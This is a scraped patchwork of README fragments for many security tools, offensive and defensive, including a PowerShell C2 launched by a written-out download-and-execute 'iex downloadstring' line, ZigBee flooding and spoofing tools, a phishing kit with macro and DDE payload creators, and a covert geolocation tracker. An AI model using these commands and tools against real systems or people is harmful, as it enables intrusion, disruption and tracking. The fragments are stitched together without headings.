• dnsdumpster
• bs4
• requests

git clone https://github.com/Turr0n/firebase.git
cd firebase
pip install -r requirements.txt

python3 firebase.py [-h] [--dnsdumpster] [-d /path/to/file.htm] [-o results.json] [-l /path/to/file] [-c 100] [-p 4]

    -h      Show the help message
    -d      Absolute path to the downloaded HTML file.
    -o      Output file name. Default: results.json
    -c      Crawl for domains in the top-1m by Alexa. Set how many domains to crawl, for example: 100. Up to 1000000
    -p      How many processes to execute. Default: 1
    -l      Path to a file containing the DBs to crawl. One DB name per line. This option can't be used with -d or -c
    --dnsdumpster       Use the DNSDumpster API to gather DBs
    --just-v    Ignore "non-vulnerable" DBs
    --amass Path of the output file of an amass scan ([-o] argument)

• -2: DB doesn't exists
• -1: means it's not vulnerable
• 0: further explotation may be possible
• 1: vulnerable

airbnb
twitter
microsoft

• Web Pentest
  | Banner Grab
  | Whois
  | Traceroute
  | DNS Record
  | Reverse DNS Lookup
  | Zone Transfer Lookup
  | Port Scan
  | Admin Panel Scan
  | Subdomain Scan
  | CMS Identify
  | Reverse IP Lookup
  | Subnet Lookup
  | Extract Page Links
• Generator
  | Deface Page

Any Python Version.

• $ pip install -r requirements.txt
  OR
• $ pip install colorama requests python-whois dnspython bs4

$ sudo nano ~/.bashrc
# Add this in the bottom of the file
export PATH=$PATH:<Path of the Tool>/pureblood
$ pureblood.py

Windows Search > Edit The System Environment Variables > Environment Variables > Path > Edit > New > (Path to the Tool) > Ok > Ok > Apply / Ok
$ pureblood

$ nano /etc/paths
# Add this in the bottom of the file
export PATH=$PATH:<Path of the Tool>/pureblood/
$ pureblood.py

$ nano ~/.bashrc
# Add this in the bottom of the file
export PATH=$PATH:<Path of the Tool>/pureblood/
$ pureblood.py

• Colorama
• Requests
• Python-whois
• Dnspython
• BeautifulSoup

• Cr4sHCoD3 - Pure Blood

• Nice Command Line Interface : Enjoy a nice and smooth CLI with easy-to-use commands
• Semantic gadget search : Find your gadgets quickly by only specifying the desired semantics
• Gadget chaining engine : No suitable single gadget ? ROPGenerator will build ROP chains for you
• Fully automated exploit building : ROPGenerator can build entire exploits... all by itself !

$ python setup.py install
$ ROPGenerator

• python-magic, enum, pwntoolsbarf v0.4.0, and prompt_toolkit packages will be added automaticaly during installation
• ROPgadget will also be installed automatically if you don't have it already. However, the currently available package on pypi is not up-to-date. Therefore, it will be installed as "ROPgadget4ROPGenerator", a recent fork of ROPgadget.

cd ibombshell\ c2/  pip install -r requirements.txt  

iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’)  

console  

iex (new-object net.webclient).downloadstring(‘https://raw.githubusercontent.com/ElevenPaths/ibombshell/master/console’)  

python3 ibombshell.py  

iBombShell> load modules/listener.py  [+] Loading module...  [+] Module loaded!  iBombShell[modules/listener.py]> run  

console -Silently -uriConsole http://[ip or domain]:[port]  

        ibombshell                 C2              |                      |              |    newibombshell     |              +--------------------->| --+ register              |                      |<--+ from IP              |    get functions     |              |   and instructions   |              +--------------------->|              |                      |              |    send functions    |              |   and instructions   |  execute +-- |<---------------------+          +-->|                      |              |       results        |              +--------------------->|              |                      |  

sudo docker build -t "ibombshell" .  sudo docker run -it ibombshell  

• serial
• usb
• crypto (for some functions)
• pygtk (for use of tools that have GUIs)
• cairo (for use of tools that have GUIs)
• scapy (for some tools which utilize 802.15.4 Scapy extensions)

# apt-get install python-gtk2 python-cairo python-usb python-crypto python-serial python-dev libgcrypt-dev
# git clone https://github.com/secdev/scapy
# cd scapy
# python setup.py install

# python setup.py install

• doc - HTML documentation on the KillerBee library, courtesy of epydoc.
• firmware - Firmware for supported KillerBee hardware devices.
• killerbee - Python library source.
• sample - Sample packet captures, referenced below.
• scripts - Shell scripts used in development.
• tools - ZigBee and IEEE 802.15.4 attack tools developed using this framework.

$ ./flash_telosb.sh

• Mouser: http://bit.ly/vZ2pt
• Digi-Key: http://bit.ly/3T8MaK

• zbid - Identifies available interfaces that can be used by KillerBee and associated tools.
  
• zbwireshark - Similar to zbdump but exposes a named pipe for real-time capture and viewing in Wireshark.
  
• zbdump - A tcpdump-like took to capture IEEE 802.15.4 frames to a libpcap or Daintree SNA packet capture file. Does not display real-time stats like tcpdump when not writing to a file.
  
• zbreplay - Implements a replay attack, reading from a specified Daintree DCF or libpcap packet capture file, retransmitting the frames. ACK frames are not retransmitted.
  
• zbstumbler - Active ZigBee and IEEE 802.15.4 network discovery tool. Zbstumbler sends beacon request frames out while channel hopping, recording and displaying summarized information about discovered devices. Can also log results to a CSV file.
  
• zbpanidconflictflood - Requires two killerbee interfaces one killerbee interface listens for packets and marks their PAN ID. The other interface constantly sends out beacon packets with found PAN ID's. The beacon packets with the same PAN ID cause the PAN coordinator to believe that there is a PAN ID conflict, and the coordinator begins the process of realigning the network on a new PAN ID. The process repeats ad nauseum. Typically, network devices can't keep up with the rapid change and after several seconds the network falls apart.
  

            _NO TARGETING BUILT IN_ This may *destroy* all zigbee networks
            within range on the channel you are performing the attack on. Use
            with caution.

• zborphannotify - Spoofs an orphan notification packet from the target device to a PAN Coordinator to test Coordinator behavior.
  
• zbrealign - Spoofs an 802.15.4 PAN Realignment frame from the coordinator to a target device. May be able to reset the device's PAN ID or Channel
  
• zbfakebeacon - Spoofs beacon frames, either spamming them or on response to seeing a beacon request come through.
  
• zbopenear - Assists in data capture where devices are operating on multiple channels or fast-frequency-hopping. It assigns multiple interfaces sequentially across all channels.
  
• zbassocflood - Repeatedly associate to the target PANID in an effort to cause the device to crash from too many connected stations.
  
• zbconvert - Convert a packet capture from Libpcap to Daintree SNA format, or vice-versa.
  
• zbdsniff - Captures ZigBee traffic, looking for NWK frames and over-the-air key provisioning. When a key is found, zbdsniff prints the key to stdout. The sample packet capture sample/zigbee-network-key-ota.dcf can be used to demonstrate this functionality.
  
• zbfind - A GTK GUI application for tracking the location of an IEEE 802.15.4 transmitter by measuring RSSI. Zbfind can be passive in discovery (only listen for packets) or it can be active by sending Beacon Request frames and recording the responses from ZigBee routers and coordinators. If you get a bunch of errors after starting this tool, make sure your DISPLAY variable is set properly. If you know how to catch these errors to display a reasonable error message, please drop me a note.
  
• zbgoodfind - Implements a key search function using an encrypted packet capture and memory dump from a legitimate ZigBee or IEEE 802.15.4 device. This tool accompanies Travis Goodspeed's GoodFET hardware attack tool, or other binary data that could contain encryption key information such as bus sniffing with legacy chips (such as the CC2420). Zbgoodfind's search file must be in binary format (obj hexfile's are not supported). To convert from the hexfile format to a binary file, use the objcopy tool: objcopy -I ihex -O binary mem.hex mem.bin
  
• zbwardrive - Discovers available interfaces and uses one to inject beacon requests and listen for respones across channels. Once a network is found on a channel, it assigns another device to continuously capture traffic on that channel to a PCAP file. Scapy must be installed to run this.
  
• zbscapy - Provides an interactive Scapy shell for interacting via a KillerBee interface. Scapy must be installed to run this.
  

$ cd killerbee
$ mkdir pdf
$ epydoc --pdf -o pdf killerbee/

• pip and virtualenv
• You will also need jq (https://stedolan.github.io/jq/) and the library pyjq (https://github.com/doloopwhile/pyjq), which require some additional tools installed that will be shown.

# clone the repo
git clone git@github.com:duo-labs/cloudmapper.git
# Install pre-reqs for pyjq
brew install autoconf automake libtool jq awscli python3
cd cloudmapper/
python3 -m venv ./venv
source venv/bin/activate
pip install -r requirements.txt

# clone the repo
git clone git@github.com:duo-labs/cloudmapper.git
# (Centos, Fedora, RedHat etc.):
# sudo yum install autoconf automake libtool python34-devel jq awscli
# (Debian, Ubuntu etc.):
# You may additionally need "build-essential"
sudo apt-get install autoconf automake libtool python3-dev jq awscli
cd cloudmapper/
python3 -m venv ./venv
source venv/bin/activate
pip install -r requirements.txt

python cloudmapper.py prepare --config config.json.demo --account demo
python cloudmapper.py webserver

1. Configure information about your account.
2. Collect information about an AWS account.

python cloudmapper.py configure {add-account|remove-account} --config-file CONFIG_FILE --name NAME --id ID [--default DEFAULT]
python cloudmapper.py configure {add-cidr|remove-cidr} --config-file CONFIG_FILE --cidr CIDR --name NAME

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Resource": "*",
      "Action": [
        "ec2:DescribeRegions",
        "ec2:DescribeAvailabilityZones",
        "ec2:DescribeVpcs",
        "ec2:DescribeSubnets",
        "ec2:DescribeSecurityGroups",
        "ec2:DescribeVpcPeeringConnections",
        "ec2:DescribeInstances",
        "ec2:DescribeNetworkInterfaces",
        "rds:DescribeDBInstances",
        "elasticloadbalancing:DescribeLoadBalancers"
      ]
    }
  ]
}

./collect_data.sh --account my_account

python cloudmapper.py collect --account my_account

• collect: Collect metadata about an account. More details here.
• find_admins: Look at IAM policies to identify admin users and roles and spot potential IAM issues. More details here.
• prepare/webserver: See Network Visualizations
• public: Find public hosts and port ranges. More details here.
• sg_ips: Get geoip info on CIDRs trusted in Security Groups. More details here.
• stats: Show counts of resources for accounts. More details here.
• wot: Show Web Of Trust. More details here.

cd cpp
node-gyp build --release --target=1.7.9 --arch=x64 --dist-url=https://atom.io/download/electron
cd ..

electron .

electron-packager . --overwrite --platform=<platform> --arch=x64 --electron-version=1.7.9 --icon=assets/icons/icon64.icns --prune=true --out=release-builds

• Monitoring: Packet capture and export of data to text files for further processing by third party tools.
• Attacking: Replay attacks, deauthentication, fake access points and others via packet injection.
• Testing: Checking WiFi cards and driver capabilities (capture and injection).
• Cracking: WEP and WPA PSK (WPA 1 and 2).

• Aircrack-ng: Allow using Hashcat HCCAPX files as input files.
• Aircrack-ng: Fixed floating point exception due to division by 0 when displaying stats.
• Aircrack-ng: Updated manpage regarding hex wordlist usage.
• Aircrack-ng: Added save/restore session when cracking using wordlists (-N and -R).
• Aircrack-ng: Moved crypto to its own library, aircrack-crypto/ (aka crypto engine).
• Aircrack-ng: Now back to a single binary thanks to crypto-engine.
• Aircrack-ng: Performance improvements of the crypto engine across various CPU architectures.
• Aircrack-ng: Added support for AVX512 in the crypto-engine (and build).
• Aircrack-ng: Improved building crypto-engine across CPU architectures and compilers (gcc, clang and ICC).
• Aircrack-ng: Allow to list available SIMD optimizations.
• Aircrack-ng: Improved benchmark tool for unusual CPU/cores count.
• Airodump-ng: Fixed running in the background.
• Airodump-ng: Don't show WPA handshake capture notice for out-of-scope ESSIDs.
• Airodump-ng: Add –background 0/1 to force disable/enable background settings and override autodetection of background.
• Airodump-ng: Added support for GCMP, GCMP-256 and CCMP-256.
• Airolib-ng: Fixed importing data when interrupting process using Ctrl-C.
• dcrack: Check if dictionary and capture file exists before uploading them.
• dcrack: Clean up dictionary before uploading it to the server.
• dcrack: Gracefully stop and display errors instead of printing stacktrace whenever possible.
• dcrack: Move temporary user files to /tmp and cleanup when done.
• dcrack: Fixed displaying status when no clients are connected to the server.
• dcrack: Validate uploaded PCAP and display success/failure.
• dcrack: Improved removing BSSID.
• WPAClean: Fixed crash with invalid prism2 header PCAP and added tests.
• WPAClean: Don't create output file if no handshake are present or if input file is bad.
• WPAClean: Fixed memory leak.
• Airmon-ng: Fixed display of interface name if name is too long.
• OSdep: Fixed memory leak and null pointer dereference.
• OSdep: Fixed byteorder macros and other tools crashing.
• OSdep: Added support to build as a shared library.
• FreeRADIUS-WPE: Updated instructions for v3.0.17.
• HostAPd-wpe: Added Response-Identity logging and displaying NETNTLM hash in hashcat format.
• Airgraph-ng: Renamed dump-join to airodump-join.
• General: Added coveralls.io badge.
• General: Added –without-opt to disable stack protector when using GCC >= 4.9
• General: Various improvements and fixes, some from Coverity Scan and Valgrind.
• General: Fixed typos reported by codespell.
• General: Extracted console functions and moved to aircrack-util/.
• General: Renamed osdep/ to aircrack-osdep/.
• General: Fixed and added functions prototypes and commented out unused functions.
• General: Reformat source code using clang-format and added .clang-format file for IDE.
• General: Improvements to AppVeyor and TravisCI builds
• Building: Added NEON intrinsic support.
• Building: Support paths containing spaces, during autoreconf.
• Building: Fix compilation without getauxval in the trampoline binary.
• Building: Fixed compiler warnings on Windows, FreeBSD.
• Building: Fixes and documentation for OSX.
• Building: Added support for tcmalloc and jemalloc.
• Building: Added instruction to build Windows binaries with Airpcap.
• Unit test: Using CMocka for some tests
• Documentation: Updated explanations regarding building some experimental tools.

• 4624: Successful logon
• 4625: Logon failure
• 4768: Kerberos Authentication (TGT Request)
• 4769: Kerberos Service Ticket (ST Request)
• 4776: NTLM Authentication
• 4672: Assign special privileges

• Visualise Event Logs to Identify Compromised Accounts - LogonTracer -
• イベントログを可視化して不正使用されたアカウントを調査 (Japanese)

• Install
• Use docker

• Python 3
• Neo4j for a graph database.
• Neo4j JavaScript driver for connects to Neo4j using the binary protocol.
• Cytoscape for visualizing a graph network.
• Flask is a microframework for Python.

• Dependencies
• Installation
• Wiki

$ python bypass.py -i eth0 -r 10.5.192.0/24  

$ python bypass.py  -h
Usage: bypass.py [options]

Options:
  -h, --help      show this help message and exit
  -i INTERFACENO  Network interface (e.g. eth0)
  -r IPRANGE      Local network IP range (e.g. 192.168.0.1/24)

pip install requests

git clone https://github.com/1tayH/noisy.git

cd noisy

python noisy.py --config config.json

$ python noisy.py --help
usage: noisy.py [-h] [--log -l] --config -c [--timeout -t]

optional arguments:
  -h, --help    show this help message and exit
  --log -l      logging level
  --config -c   config file
  --timeout -t  for how long the crawler should be running, in seconds

$ docker run -it noisy --config config.json --log debug
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): 4chan.org:80
DEBUG:urllib3.connectionpool:http://4chan.org:80 "GET / HTTP/1.1" 301 None
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): www.4chan.org:80
DEBUG:urllib3.connectionpool:http://www.4chan.org:80 "GET / HTTP/1.1" 200 None
DEBUG:root:found 92 links
INFO:root:Visiting http://boards.4chan.org/s4s/
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): boards.4chan.org:80
DEBUG:urllib3.connectionpool:http://boards.4chan.org:80 "GET /s4s/ HTTP/1.1" 200 None
INFO:root:Visiting http://boards.4chan.org/s4s/thread/6850193#p6850345
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): boards.4chan.org:80
DEBUG:urllib3.connectionpool:http://boards.4chan.org:80 "GET /s4s/thread/6850193 HTTP/1.1" 200 None
INFO:root:Visiting http://boards.4chan.org/o/
DEBUG:urllib3.connectionpool:Starting new HTTP connection (1): boards.4chan.org:80
DEBUG:urllib3.connectionpool:http://boards.4chan.org:80 "GET /o/ HTTP/1.1" 200 None
DEBUG:root:Hit a dead end, moving to the next root URL
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): www.reddit.com:443
DEBUG:urllib3.connectionpool:https://www.reddit.com:443 "GET / HTTP/1.1" 200 None
DEBUG:root:found 237 links
INFO:root:Visiting https://www.reddit.com/user/Saditon
DEBUG:urllib3.connectionpool:Starting new HTTPS connection (1): www.reddit.com:443
DEBUG:urllib3.connectionpool:https://www.reddit.com:443 "GET /user/Saditon HTTP/1.1" 200 None
...

1. Build the image

2. Create the container and run:

• Itay Hury - Initial work - 1tayH

• RandomNoise
• web-traffic-generator

• A report containing the output (json) of scan will be sent to a single defined sysadmin account, refer to the report_to attribute in the /grunt/package.json build configuration file.
• Keys are only disabled, not deleted nor replaced

• Node.js with NPM installed https://nodejs.org/en/
• Gruntjs installed http://gruntjs.com/
• AWSCLI commandline tool installed https://aws.amazon.com/cli/

1. Grab yourself a copy of this script
2. Navigate into the /grunt folder
3. Setup the Grunt task runner, e.g. install its deps: npm install
4. Fill in the following information in /grunt/package.json
   1. Set the aws_account_number value to your AWS account id found on https://portal.aws.amazon.com/gp/aws/manageYourAccount
   2. Set the first_warning and last_warning to the age that the key has to be in days to trigger a warning. These limits trigger an email send to report_to
   3. Set the expiry to the age in days when the key expires. At this age the key is disabled and an email is triggered to report_to notifying this change
   4. Set the serviceaccount to the account username you want the script to ignore
   5. Set the exclusiongroup to the name of a group assigned to users you want the script to ignore.
   6. Set the send_completion_report value to True to enable email delivery via SES
   7. Set the report_to value to the email address you'd like to receive deletion reports to
   8. Set the report_from value to the email address you'd like to use as the sender address for deletion reports. Note that the domain for this needs to be verified in AWS SES.
   9. Set the deployment_region to a region that supports Lambda. 10 Set the email_region to the region that supports SES. Also ensure that the region has SES sandbox mode disabled.
      • See the AWS Region table for support https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/
5. Ensure you can successfully connect to AWS from the CLI, eg run aws iam get-user to verify successful connection
6. from the /grunt directory run grunt bumpup && grunt deployLambda to bump your version number and perform a build/deploy of the Lambda function to the selected region

{
    "StatusCode": 200
}

{
  "reportdate": "2016-06-26 10:37:24.071091",
  "users": [
    {
      "username": "TestS3User",
      "userid": "1",
      "keys": [
        {
          "age": 72,
          "changed": false,
          "state": "key is already in an INACTIVE state",
          "accesskeyid": "**************Q3GA1"
        },
        {
          "age": 12,
          "changed": false,
          "state": "key is still young",
          "accesskeyid": "**************F3AA2"
        }
      ]
    },
    {
      "username": "BlahUser22",
      "userid": "2",
      "keys": []
    },
    {
      "username": "LambdaFake1",
      "userid": "3",
       "keys": [
        {
          "age": 23,
          "changed": false,
          "state": "key is due to expire in 1 week (7 days)",
          "accesskeyid": "**************DFG12"
        },
        {
          "age": 296,
          "changed": false,
          "state": "key is already in an INACTIVE state",
          "accesskeyid": "**************4ZASD"
        }
      ]
    },
    {
      "username": "apiuser49",
      "userid": "4",
       "keys": [
        {
          "age": 30,
          "changed": true,
          "state": "key is now EXPIRED! Changing key to INACTIVE state",
          "accesskeyid": "**************ER2E2"
        },
        {
          "age": 107,
          "changed": false,
          "state": "key is already in an INACTIVE state",
          "accesskeyid": "**************AWQ4K"
        }
      ]
    },
    {
      "username": "UserEMRKinesis",
      "userid": "5",
       "keys": [
        {
          "age": 30,
          "changed": false,
          "state": "key is now EXPIRED! Changing key to INACTIVE state",
          "accesskeyid": "**************MGB41A"
        }
      ]
    },
    {
      "username": "CDN-Drupal",
      "userid": "6",
       "keys": [
        {
          "age": 10,
          "changed": false,
          "state": "key is still young",
          "accesskeyid": "**************ZDSQ5A"
        },
        {
          "age": 5,
          "changed": false,
          "state": "key is still young",
          "accesskeyid": "**************E3ODA"
        }
      ]
    },
    {
      "username": "ChocDonutUser1",
      "userid": "7",
       "keys": [
        {
          "age": 59,
          "changed": false,
          "state": "key is already in an INACTIVE state",
          "accesskeyid": "**************CSA123"
        }
      ]
    },
    {
      "username": "ChocDonut2",
      "userid": "8",
       "keys": [
        {
          "age": 60,
          "changed": false,
          "state": "key is already in an INACTIVE state",
          "accesskeyid": "**************FDGD2"
        }
      ]
    },
    {
      "username": "admin.skynet@cyberdyne.systems.com",
      "userid": "9",
       "keys": [
        {
          "age": 45,
          "changed": false,
          "state": "key is already in an INACTIVE state",
          "accesskeyid": "**************BLQ5GJ"
        },
        {
          "age": 71,
          "changed": false,
          "state": "key is already in an INACTIVE state",
          "accesskeyid": "**************GJFF53"
        }
      ]
    }
  ]
}

• You can choose to set the message used for each warning and the final disabling by changing the values under key_disabler.keystates.<state>.message
• You can change the length of masking under key_disabler.mask_accesskey_length. The access keys are 20 characters in length.

• You can authenticate successfully against AWS using the AWSCLI commandline tool
• SES is not in sandbox mode and the sender domain has been verified
• The selected region provides both Lambda and SES https://aws.amazon.com/about-aws/global-infrastructure/regional-product-services/

1. aws lambda list-functions
2. openssl dgst -binary -sha256 ..\Releases\AccessKeyRotationPackage.1.0.18.zip | openssl base64
3. aws lambda invoke --function-name AccessKeyRotation report.log --region us-east-1
4. jq '.' report.log
5. jq '.users[] | select(.username=="johndoe")' report.log
6. jq '.' report.log | grep age | cut -d':' -f2 | sort -n

1. jq 'def maximal_by(f): (map(f) | max) as $mx | .[] | select(f == $mx); .users | maximal_by(.keys[].age)' report.log
2. jq 'def minimal_by(f): (map(f) | min) as $mn | .[] | select(f == $mn); .users | minimal_by(.keys[].age)' report.log

• Other tools and services offer IP Geolocation which is not very accurate and does not give location of user.
  
• Generally if a user accepts location permsission, Accuracy of the information recieved is accurate to approximately 30 meters.
  

• Longitude
• Latitude
• Accuracy
• Altitude - Not always available
• Direction - Only available if user is moving
• Speed - Only available if user is moving

• Operating System
• Platform
• Number of CPU Cores
• Amount of RAM - Approximate Results
• Screen Resolution
• GPU information
• Browser Name and Version
• Public IP Address

• Kali Linux 2018.2
• Ubuntu 18.04

• os
• time
• json
• requests
• subprocess

git clone https://github.com/thewhiteh4t/seeker.git
cd seeker/
chmod 777 install.sh
./install.sh

#After Installation just type seeker in console

1. Bulk email sending
2. Basic Python Agent Creator
3. Office Excel Macro Creator
4. DDE Excel Creator(or Custom Payload)
5. Return İnformation

• [Mail Open Track]
• [Agent Open Track]

$ pip install -r requirements.txt
$ Install Microsoft Office

[+]Windows 7
[+]Windows 10

[+]Note :  Compress and send the exe file(rar,zip)

[+] Start Project : python start.py

| Coded Abdulaziz ALTUNTAŞ |
| Email: a.azizaltuntas@gmail.com |
| Github: github/azizaltuntas     |
| Twitter: @esccopyright          |

• Security Monkey Architecture
• Quickstart
• User Guide
• Upgrading
• Changelog
• Source code
• Issue tracker
• Gitter.im Chat Room
• CloudAux
• PolicyUniverse
• Troubleshooting

A content management system (CMS) manages the creation and modification of digital content. It typically supports multiple users in a collaborative environment. Some noteable examples are: WordPress, Joomla, Drupal etc.

- Version 1.0.5 [19-07-2018]
- Version 1.0.4 [17-07-2018]
- Version 1.0.3 [06-07-2018]
- Version 1.0.2 [06-07-2018]
- Version 1.0.1 [19-06-2018]
- Version 1.0.0 [15-06-2018]

• Basic CMS Detection of over 20 CMS
• Advanced Wordpress Scans
  • Detects Version
  • User Enumeration
  • Plugins Enumeration
  • Theme Enumeration
  • Detects Users (3 Detection Methods)
  • Looks for Version Vulnerabilities and much more!
• Advanced Joomla Scans
  • Version detection
  • Backup files finder
  • Admin page finder
  • Core vulnerability detection
  • Directory listing check
  • Config leak detection
  • Various other checks
• Modular bruteforce system
  • Use pre made bruteforce modules or create your own and integrate with it

• git clone https://github.com/Tuhinshubhra/CMSeeK
• cd CMSeeK

• python3 cmseek.py

• python3 cmseek.py -u <target_url> [...]

• HTTP Headers
• Page Source Code

 cmsID = {
   'name':'Name Of CMS',
   'url':'Official URL of the CMS',
   'vd':'Version Detection (0 for no, 1 for yes)',
   'deeps':'Deep Scan (0 for no 1 for yes)'
 }

1. Add a comment exactly like this # <Name Of The CMS> Bruteforce module. This will help CMSeeK to know the name of the CMS using regex
   
2. Add another comment ### cmseekbruteforcemodule, this will help CMSeeK to know it is a module
   
3. Copy and paste the module in the brutecms directory under CMSeeK's directory
   
4. Open CMSeeK and Rebuild Cache using U as the input in the first menu.
   
5. If everything is done right you'll see something like this (refer to screenshot below) and your module will be listed in bruteforce menu the next time you open CMSeeK.
   

Main Menu

Scan Result

WordPress Scan Result

• Target
• Exact copy of error or screenshot of error
• Your operating system

$ pip install awsscout2

$ git clone https://github.com/nccgroup/Scout2
$ cd Scout2
$ pip install -r requirements.txt
$ python setup.py install

• 2.7
• 3.3
• 3.4
• 3.5
• 3.6

$ Scout2

$ Scout2 --profile <PROFILE_NAME>

$ Scout2 --csv-credentials <CREDENTIALS.CSV>

$ Scout2 --help

• WinXP: [userdir]\Local Settings\Application Data\Google\Chrome\User Data\Default
• Vista/7/8: [userdir]\AppData\Local\Google\Chrome\User Data\Default
• Linux: [userdir]/.config/google-chrome/Default
• OS X: [userdir]/Library/Application Support/Google/Chrome/Default
• iOS: \Applications\com.google.chrome.ios\Library\Application Support\Google\Chrome\Default
• Android: /userdata/data/com.android.chrome/app_chrome/Default